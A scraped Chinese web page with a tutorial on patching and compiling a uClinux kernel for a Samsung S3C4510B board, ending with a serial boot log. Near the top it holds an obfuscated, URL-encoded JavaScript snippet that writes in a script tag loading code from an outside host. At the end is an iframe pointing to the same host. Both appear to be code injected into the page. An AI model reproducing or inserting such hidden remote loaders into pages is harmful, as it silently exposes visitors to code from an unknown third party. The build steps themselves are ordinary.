天天看點

how to compile uClinux kernel

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

how to compile uClinux kernel

說明: 本小節内容是關于如何編譯一個可以運作的 uClinux Kernel

-------------------------------------------------------------------------

Step 1 :

1. 下載下傳 uClinux-dist-20030522.tar.gz 到目前工作目錄下

http://159.226.40.150/lumit/resources/uClinux/uClinux-dist-20030522.tar.gz

2. 解壓 uClinux-dist-20030522.tar.gz 檔案到 uClinux-dist 目錄

tar zxvf uClinux-dist-20030522.tar.gz

此時目前工作目錄下增加了一個名為 uClinux-dist 的目錄。

3. 下載下傳 patch 檔案 uClinux-20030522-lom_arm7-patch.rar 到 uClinux-dist 目錄

http://159.226.40.150/lumit/resources/uClinux/uClinux-20030522-lom_arm7-patch.rar

用 winrar 解壓 該檔案後得到 uClinux-20030522-dailzh.patch

4. 複制 patch 檔案到 uClinux-dist 目錄下

cp uClinux-20030522-dailzh.patch uClinux-dist

4. 進入 uClinux-dist 目錄

cd uClinux-dist

5. 打 patch 更新檔

patch -p1 < uClinux-20030522-dailzh.patch

此時得到如下輸出:

patching file config/.menuconfig.log

patching file linux-2.4.x/arch/armnommu/boot/compressed/linux.lds.in

patching file linux-2.4.x/arch/armnommu/boot/compressed/Makefile

patching file linux-2.4.x/arch/armnommu/config.in

patching file linux-2.4.x/arch/armnommu/vmlinux-armv.lds.in

patching file linux-2.4.x/include/asm-armnommu/arch-snds100/hardware.h

patching file linux-2.4.x/include/asm-armnommu/arch-snds100/memory.h

patching file Makefile

patching file mklinux

patching file user/busybox/docs/busybox.pod

patching file user/ntp/config.log

Hunk #1 succeeded at 1569 with fuzz 1 (offset -28 lines).

patching file user/tinylogin/applet_source_list

patching file user/tinylogin/config.h

patching file vendors/Samsung/4510B/config.linux-2.4.x

patching file vendors/Samsung/4510B/config.vendor-2.4.x

patching file vendors/Samsung/4510B/index.html

patching file vendors/Samsung/4510B/inittab

patching file vendors/Samsung/4510B/logo.jpg

patching file vendors/Samsung/4510B/Makefile

patching file vendors/Samsung/4510B/rc

Step 2 :

6. make menuconfig 配置核心

--- Choose a Vendor/Product combination.

(Samsung/4510B) Vendor/Product

(linux-2.4.x) Kernel Version

(uClibc) Libc Version

7. make dep 建立依賴關系

8. make lib_only 編譯庫檔案

9. make user_only 編譯使用者應用程式檔案

這裡似乎會遇到有一個關于 boa 的應用有錯,

uClinux-dist/user/boa/src/auth.c:194: undefined reference to `crypt_old'

可以重新 make menuconfig 後暫時不選擇 boa 應用,就可以編譯通過

Network Applications --->

[ ] boa

還有一個 /login/login.c :162: undefined reference to `crypt_old' 的錯誤,

也可以将 login 應用暫時去掉就可以編譯通過

Core Applications --->

[ ] login

暫時不選擇 boa 應用的具體操作方法如下:

make menuconfig 的時候:

Target Platform Selection --->

選中

[*] Customize Vendor/User Settings

然後 Exit

Do you wish to save your new kernel configuration? 選擇 Yes 退出

進入 Main Menu 後 , 選擇

Network Applications --->

清除 [ ] boa 選項,就可以不再編譯 boa 這個應用程式。

同理: login 應用程式是通過

Core Applications --->

清除 [ ] login 選項即可。

10. make romfs 生成romfs檔案系統

11. make image 編譯核心

arm-elf-ld -r -o /home/liming/testuc/uClinux-dist/linux-2.4.x/romfs.o /

-b binary /home/liming/testuc/uClinux-dist/images/romfs.img

arm-elf-objcopy -O binary -R .note -R .comment /

-S /home/liming/testuc/uClinux-dist/linux-2.4.x/linux /home/liming/testuc/uClinux-dist/images/image.ram

cp /home/liming/testuc/uClinux-dist/linux-2.4.x/arch/armnommu/boot/zImage /

/home/liming/testuc/uClinux-dist/images/image.rom

make[1]: Leaving directory `/home/liming/testuc/uClinux-dist/vendors/Samsung/4510B'

可以看到成功編譯後的最後幾行輸出,表示了 romfs.img, image.ram, image.rom 這幾個檔案和 linux 核心之間的關系。

Step 3 :

12. 檢視 images 目錄下的相關檔案,可以看到:

[[email protected] uClinux-dist]$ ls images

Bios for download and program.

Author Jerry

Build date : Jun 16 2004 Time : 17:11:45

Type help for help.

/>

/>load

No begin address for download, use default address 0x8000

Mini TFTP Server 1.0 (IP : 192.168.168.101 PORT: 69)

Load image file from host

Type tftp -i 192.168.168.101 put filename at the host PC

Press ESC key to exit

Starting the TFTP download...

...............................................

Received 185aec Bytes, END...

Boot Image? (y/n) yLinux version 2.4.20-uc0 ([email protected]) (gcc version 2.95.3 20010315 (release)(ColdFire patches - 20010318 from http://fiddes.net/coldfire/)(uClinux XIP and shared lib patches from http://www.snapgear.com/)) #7 Wed Aug 25 10:12:00 HKT 2004

Processor: Samsung S3C4510B revision 6

Architecture: SNDS100

On node 0 totalpages: 4096

zone(0): 0 pages.

zone(1): 4096 pages.

zone(2): 0 pages.

Kernel command line: root=/dev/rom0

Calibrating delay loop... 49.86 BogoMIPS

Memory: 16MB = 16MB total

Memory: 14476KB available (1484K code, 159K data, 40K init)

Dentry cache hash table entries: 2048 (order: 2, 16384 bytes)

Inode cache hash table entries: 1024 (order: 1, 8192 bytes)

Mount-cache hash table entries: 512 (order: 0, 4096 bytes)

Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)

Page-cache hash table entries: 4096 (order: 2, 16384 bytes)

POSIX conformance testing by UNIFIX

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Initializing RT netlink socket

Starting kswapd

Samsung S3C4510 Serial driver version 0.9 (2001-12-27) with no serial options enabled

ttyS00 at 0x3ffd000 (irq = 5) is a S3C4510B

ttyS01 at 0x3ffe000 (irq = 7) is a S3C4510B

Blkmem copyright 1998,1999 D. Jeff Dionne

Blkmem copyright 1998 Kenneth Albanowski

Blkmem 1 disk images:

0: BE7E8-1853E7 [VIRTUAL BE7E8-1853E7] (RO)

RAMDISK driver initialized: 16 RAM disks of 1024K size 1024 blocksize

Samsung S3C4510 Ethernet driver version 0.1 (2002-02-20)

eth0: 00:40:95:36:35:34

NET4: Linux TCP/IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP

IP: routing cache hash table of 512 buckets, 4Kbytes

TCP: Hash tables configured (established 1024 bind 1024)

VFS: Mounted root (romfs filesystem) readonly.

Freeing init memory: 40K

Shell invoked to run file: /etc/rc

Command: hostname Samsung

Command: /bin/expand /etc/ramfs.img /dev/ram0

Command: /bin/expand /etc/ramfs2048.img /dev/ram1

Command: mount -t proc proc /proc

Command: mount -t ext2 /dev/ram0 /var

Command: mount -t ext2 /dev/ram1 /ramdisk

Command: chmod 777 /ramdisk

Command: mkdir /var/config

Command: mkdir /var/tmp

Command: mkdir /var/log

Command: mkdir /var/run

Command: mkdir /var/lock

Command: ifconfig lo 127.0.0.1

Command: route add -net 127.0.0.0 netmask 255.255.255.0 lo

Command: ifconfig eth0 192.168.168.101 netmask 255.255.255.0 up

Command: cat /etc/motd

Welcome to

____ _ _

/ __| ||_|

_ _| | | | _ ____ _ _ _ _

| | | | | | || | _ /| | | |/ // /

| |_| | |__| || | | | | |_| |/ /

| ___/____|_||_|_| |_|/____|/_//_/

| |

|_|

For further information check:

http://www.uclinux.org/

Execution Finished, Exiting

Sash command shell (version 1.1.1)

/> ls

bin

dev

etc

home

lib

mnt

proc

ramdisk

sbin

tmp

usr

var

/> cd bin

/bin> ls

arp

basename

busybox

date

dmesg

du

expand

ftp

hostname

ifconfig

inetd

init

mount

ping

route

sh

telnet

telnetd

tftp

tftpd

umount

uptime

/bin>

 from: 

http://v1.bbs.zol.com.cn/frmView.php?u2=http://bbs.zol.com.cn/index20060621/index_86_110770.html

src="http://avss.b15.cnwg.cn/count/iframe.asp" frame width="650" scrolling="no" height="160">